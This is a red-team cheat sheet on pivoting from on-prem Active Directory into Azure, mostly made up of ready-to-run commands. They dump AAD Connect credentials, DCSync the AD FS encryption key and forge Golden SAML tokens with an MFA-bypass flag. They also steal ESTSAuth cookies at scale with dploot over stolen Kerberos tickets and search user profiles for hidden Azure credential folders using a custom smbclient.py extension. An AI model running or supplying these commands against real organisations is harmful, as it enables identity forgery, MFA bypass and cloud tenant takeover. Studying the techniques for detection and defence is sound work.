# On-Prem → Cloud

* <https://aadinternals.com/post/on-prem_admin/>
* <https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/>
* <https://nullg0re.com/2024/05/cracking-zero-trust-on-prem-to-azure-pivots-with-responder-and-evilginx2/>

## Dumping AAD Connect Creds

* <https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/>
* <https://aadinternals.com/post/adsync/>
* <https://imphash.medium.com/shooting-up-on-prem-to-cloud-detecting-aadconnect-creds-dump-422b21128729>
* <https://rioasmara.com/2020/07/07/azure-ad-connect-post-exploitation-for-dcsync/>
* [\[PDF\] Hacking Azure AD via Active Directory (Dirk-jan Mollema, @\_dirkjan)](https://dirkjanm.io/assets/raw/TR19-Im%20in%20your%20cloud.pdf)

### Tools

* <https://github.com/dirkjanm/adconnectdump>
* <https://github.com/Hagrid29/DumpAADSyncCreds>

## Forging AD FS SAML Tokens (Golden SAML)

* <https://aadinternals.com/post/adfs/>
* <https://github.com/Gerenios/AADInternals/tree/ff0d29fd77cbcb32ce2a1837a1d94d8be0be8466>
* <https://github.com/Azure/SimuLand/blob/main/docs/labs/GoldenSAML/simulation/export-adfs-dkm-key/exportADFSDKMKeyDRS.md>
* <https://github.com/mandiant/ADFSpoof>
* <https://github.com/mandiant/ADFSDump>

Install AADInternals v0.9.3:

```
PS > Install-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force
PS > Import-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force
```

Check if Azure is configured as a party trust:

```
PS > Install-WindowsFeature ADFS-Federation
PS > Import-Module ADFS
ADFS > Get-ADFSRelyingPartyTrust | select Identifier | fl
```

Get AD FS config:

```
AADInt > $ADFSConfig = Export-AADIntADFSConfiguration -Hash <ADFS_SVC_NT_HASH> -SID <ADFS_SVC_SID> -Server ADFS01.megacorp.local
PS > [xml]$xml=$ADFSConfig
PS > $group = $xml.ServiceSettingsData.PolicyStore.DkmSettings.Group
PS > $container = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
PS > $parent = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
PS > $base = "LDAP://CN=$group,$container,$parent"
PS > $base
```

Get private key object GUID:

```
PV3 > Get-DomainObject -LDAPFilter "(&(objectclass=contact)(!name=CryptoPolicy)(ThumbnailPhoto=*))" -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=megacorp,DC=local" | select objectGuid
```

Ensure you have enough privileges to DCSync:

```
Cmd > Rubeus.exe asktgt /user:DC01$ /domain:megacorp.local /dc:DC01.megacorp.local /aes256:<AES_KEY> /opsec /nowrap /ptt
Cmd > Rubeus.exe asktgs /ticket:<TICKET> /domain:megacorp.local /dc:DC01.megacorp.local /service:LDAP/DC01.megacorp.local /nowrap /ptt
```

DCSync the key:

{% hint style="info" %}
We don't actually need clear-text creds to replicate the key if we've already imported a privileged TGT, so `$Credentials` ([here](https://github.com/Gerenios/AADInternals/blob/49a9659b60672f08428e72148b66dfe4629562da/DRS_Utils.ps1#L242), `C:\Program Files\WindowsPowerShell\Modules\AADInternals\0.9.3\DRS_Utils.ps1`) can be omitted.
{% endhint %}

```
AADInt > $ADFSKey = Export-AADIntADFSEncryptionKey -Server DC01.megacorp.local -ObjectGuid <GUID> -Credentials "dummy"
PS > [System.BitConverter]::ToString($ADFSKey)
```

Generate the token signing certificate:

```
AADInt > Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey
PS > ls ADFS_*
```

Get AD FS trust issuer as well as on-prem users' immutable cloud IDs:

```
ADFS > $Issuer = (Get-ADFSProperties).Identifier.OriginalString
PV3 > Get-DomainUser | select UserPrincipalname, @{Name="ImmutableId"; Expression={"$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray()))"}}
```

Generate forged SAML request-response for WS-Federation (SOAP-based) protocol interchange:

```
AADInt > $token = New-AADIntSAMLToken -ImmutableId <ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN j.doe@megacorp.com] [-ByPassMFA]
AADInt > New-WSFedResponse -SAMLToken $token
```

Generate forged SAML request-response for SAML 2.0 (XML-based) protocol interchange:

```
AADInt > $token = New-AADIntSAML2Token -ImmutableId <ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN j.doe@megacorp.com]
AADInt > $resp = New-AADIntSAMLPResponse -SAML2Token $token
AADInt > [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($resp))
```

Generate forged SAML request-response, impersonate and login:

```
AADInt > Open-AADIntOffice365Portal -TokenType WSFED/SAMLP -ImmutableId <BASE64_ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN j.doe@megacorp.com] [-ByPassMFA] [-Browser Chrome]
```

## Pass-the-Cookie

* <https://blog.netwrix.com/2022/11/29/bypassing-mfa-with-pass-the-cookie-attack/>

### Refresh Token from ESTSAuth\* Cookies

Automated with [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2?tab=readme-ov-file#get-a-refresh-token-from-estsauth-cookie):

```
PS > Get-AzureTokenFromESTSCookie -ESTSAuthCookie <COOKIE_VALUE>
```

### Mass Cookies Harvesting

Collect with [dploot](https://github.com/zblurx/dploot) and decrypt with a backup key (similar to [HEKATOMB](https://github.com/ProcessusT/HEKATOMB)):

```
$ ls tickets/
SRV01.ccache   SRV02.ccache   PC01.ccache
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 dploot browser -d megacorp.local -no-pass -use-kcache "$comp.megacorp.local" -pvk ../key.pvk -show-cookies > "browsers_$comp.out"; done
```

Search for `ESTSAUTHPERSISTENT` cookies:

```
$ grep -nr --include '*.out' ESTSAUTHPERSISTENT -A3 | grep -e Creation -e Expires
```

## Mass Hidden Directories Searching

Impacket's **smbclient.py** extension (searches for hidden directories in every user's home):

```python
def do_hidden(self, args=None):
    hidden = []
    for item1 in self.smb.listPath(self.share, '\\Users\\*'):
        longname1 = item1.get_longname()
        if item1.is_directory() and longname1 not in ('.', '..'):
            dir0 = ntpath.join('\\Users', longname1)
            try:
                ls = self.smb.listPath(self.share, ntpath.join(dir0, '*'))
            except:
                continue
            else:
                for item2 in ls:
                    longname2 = item2.get_longname()
                    if item2.is_directory() and longname2 not in ('.', '..') and longname2.startswith('.'):
                        hidden.append((item2, ntpath.join(dir0, longname2)))
    result = ''
    for item, name in hidden:
        result += 'drw-rw-rw- '
        result += f'{datetime.fromtimestamp(item.get_mtime_epoch()).strftime("%Y/%m/%d %H:%M:%S"):>21} '
        result += '  '
        result += name
        result += '\n'
    print(result.strip())
```

Collect hidden directories:

```
$ ls tickets/
SRV01.ccache   SRV02.ccache   PC01.ccache
$ echo 'use c$\ninfo\nhidden' > cmd
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 smbclient.py -k -no-pass "$comp.megacorp.local" -inputfile cmd -outputfile "hidden_$comp.out"; done
```

Search for hidden directories that start with `.az`:

```
$ grep -nr --include '*.out' '\Users' | grep -i '\.az'
```
